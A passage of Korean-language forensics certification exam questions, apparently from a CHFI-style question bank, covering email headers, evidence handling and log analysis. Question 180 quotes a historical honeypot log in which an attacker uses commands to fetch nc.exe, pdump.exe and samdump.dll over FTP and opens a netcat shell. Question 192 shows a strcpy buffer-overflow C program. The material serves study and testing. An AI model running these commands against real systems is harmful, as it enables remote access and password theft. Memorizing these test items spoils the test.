새 질문 180
다음 발췌문은 lab.wiretrip.net에서 호스팅된 허니팟 로그에서 발췌한 것입니다. 213.116.251.162에서 발생한 유니코드 공격이 짧게 보고되었습니다. 파일 권한 정식화 취약점(유니코드 공격)은 일반적으로 스크립트를 실행할 권한이 없는 임의의 폴더에서 스크립트를 실행할 수 있게 합니다. 공격자는 유니코드 공격을 시도하고 결국 boot.ini를 표시하는 데 성공합니다.
그런 다음 msadcs.dll을 통해 RDS를 플레이하는 것으로 전환합니다. RDS 취약점을 통해 악의적인 사용자는 IIS 서버에서 셸 명령(예: CMD.EXE)을 실행하는 SQL 문을 구성할 수 있습니다. 공격자는 빠른 쿼리를 통해 디렉터리가 존재하는지 확인하고, msadcs.dll에 대한 쿼리를 통해 해당 디렉터리가 올바르게 작동하는 것을 확인합니다. 공격자가 RDS 쿼리를 수행하면 아래와 같이 명령이 실행됩니다.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo 종료 >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
주어진 익스플로잇에서 무엇을 유추할 수 있나요?

새 질문 181
Annie는 Windows XP OS를 실행하는 시스템에서 특정 삭제된 파일을 검색하고 있습니다. 시스템에서 완전히 삭제되지 않은 파일은 어디에서 찾을 수 있을까요?

새 질문 182
다음 이메일 헤더에서 이메일의 최초 발신지는 어디인가요?

새 질문 183
녹음의 내용을 증명하기 위해 원본 녹음을 제공해야 하는 규칙은 무엇인가요?

새 질문 184
컴퓨터 포렌식 전문가인 론은 기업 스파이와 관련된 사건을 조사하고 있습니다. 그는 범죄 현장에서 여러 대의 모바일 컴퓨팅 장치를 회수했습니다. Ron이 가지고 있는 증거 중 하나는 켜진 상태로 방치된 노키아의 휴대폰입니다. 론은 장치 소유자의 신원을 확인하기 위해 장치의 IMEI 번호를 복구해야 합니다. 다음 중 론이 IMEI 번호를 복구하는 데 사용할 수 있는 키 조합은 무엇인가요?

새 질문 185
수집된 증거를 "aaa/ddmmyy/nnnn/zz" 형식으로 표시할 때 "nnnn"은 무엇을 의미하나요?

새 질문 186
다음 중 통계와 확률을 연구하여 공격자가 공격 후 다음에 무엇을 할 수 있는지 가정하고 예측하는 고급 상관관계 방법으로 두 가지 변수만 사용하는 이벤트 상관관계 접근 방식은?

새 질문 187
다음 중 '해당 사용자 없음' 반송 메시지와 같이 메일 발송자가 생성한 오류에 대해 발신자 주소 대신 전송할 주소를 지정하는 이메일 헤더는 무엇인가요?

새 질문 188
다음 중 시스템에서 설치, 실행 또는 제거된 애플리케이션의 흔적이 포함된 파일은 무엇인가요?

새 질문 189
컴퓨터 포렌식 수사관인 트래비스는 저작권 침해 및 횡령과 관련하여 한 달 넘게 진행해온 사건을 마무리하고 있습니다. 그의 마지막 임무는 자신이 일하던 회사의 사장을 위한 조사 보고서를 작성하는 것입니다. 트래비스는 이 사장에게 하드 카피와 전자 사본을 제출해야 합니다. 트래비스가 이 보고서를 어떤 전자 형식으로 보내야 하나요?

새 질문 190
용의자의 하드 드라이브에 숨겨진 파티션이 있는지 확인하는 한 가지 방법은 다음과 같습니다:

새 질문 191
아래 주어진 로그를 살펴보고 다음 질문에 답하세요:
Apr 24 14:46:46 [4663]: spp_portscan: 194.222.156.169에서 포트스캔 감지 Apr 24 14:46:46 [4663]: IDS27/FIN 스캔: 194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]: IDS/DNS-버전-쿼리: 212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan: 24.9.255.53에서 포트스캔 감지 Apr 25 02:08:07 [5875]: IDS277/DNS-버전-쿼리: 63.226.81.13:4499 -> 172.16.1.107:53 Apr 25 02:08:07 [5875]: IDS277/DNS-버전-쿼리: 63.226.81.13:4630 -> 172.16.1.101:53 Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 [5875]: IDS230/웹-cgi-공간-와일드카드: 198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 이 공격을 방지하기 위한 예방 조치에는 방화벽 규칙을 작성하는 것이 포함됩니다. 다음 방화벽 규칙 중 다음 중 어느 것이 적절할까요?

새 질문 192
Kyle은 회계 부서를 위해 개발한 애플리케이션의 최종 테스트를 수행하고 있습니다.
마지막 테스트는 프로그램이 최대한 안전한지 확인하는 것입니다. 카일은 다음 명령을 실행합니다. 이 시점에서 그는 무엇을 테스트하고 있을까요?
#포함 #포함 int main(int argc, char
*argv[]) { char buffer[10]; if (argc < 2) { fprintf (stderr, "USAGE: %s stringn", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0; }

새 질문 193
한 직원이 대형 자석을 사용하여 두 개의 컴팩트 디스크(CD)와 디지털 비디오 디스크(DVD)에 저장된 데이터를 지우려고 시도하고 있습니다. 이 직원에게 CD와 DVD는 대용량의 데이터를 저장하는 데 사용되는 ______________ 미디어이며 자석의 영향을 받지 않으므로 이 방법은 데이터를 지우는 데 효과적이지 않다고 알려줍니다.

새 질문 194
다음 중 인터넷을 통해 의도치 않게 악성 소프트웨어를 다운로드하는 것을 가리키는 공격은 무엇인가요? 여기서 공격자는 브라우저 소프트웨어의 결함을 악용하여 사용자가 악성 웹사이트를 방문하는 것만으로 멀웨어를 설치합니다.

새 질문 195
최근 한 정부 기관에서 사용하는 내부 웹 앱이 응답하지 않게 되자, 정부 기관의 네트워크 엔지니어인 Betty는 웹 애플리케이션이 응답하지 않는 원인을 파악해야 하는 임무를 맡게 됩니다. 베티는 Wlreshark를 실행하고 로컬 네트워크의 트래픽을 캡처하기 시작합니다. 결과를 분석하던 중 베티는 싱크 플러드 공격이 진행 중임을 알아챕니다. 베티는 동기화 플러드 공격이 발생하고 있다는 사실을 어떻게 알았나요?

새 질문 196
킴벌리는 동네에 있는 직업학교에서 IT 보안 분석가가 되기 위해 공부하고 있습니다. 이 학교에서는 네트워킹 언어뿐만 아니라 다양한 프로그래밍을 제공합니다. 라우터가 사용하는 네트워킹 프로토콜 언어 중 어떤 것을 배워야 할까요?

새 질문 197
컴퓨터에 있는 바로 가기 파일에 대해 Windows OS에서 사용하는 확장자는 무엇인가요?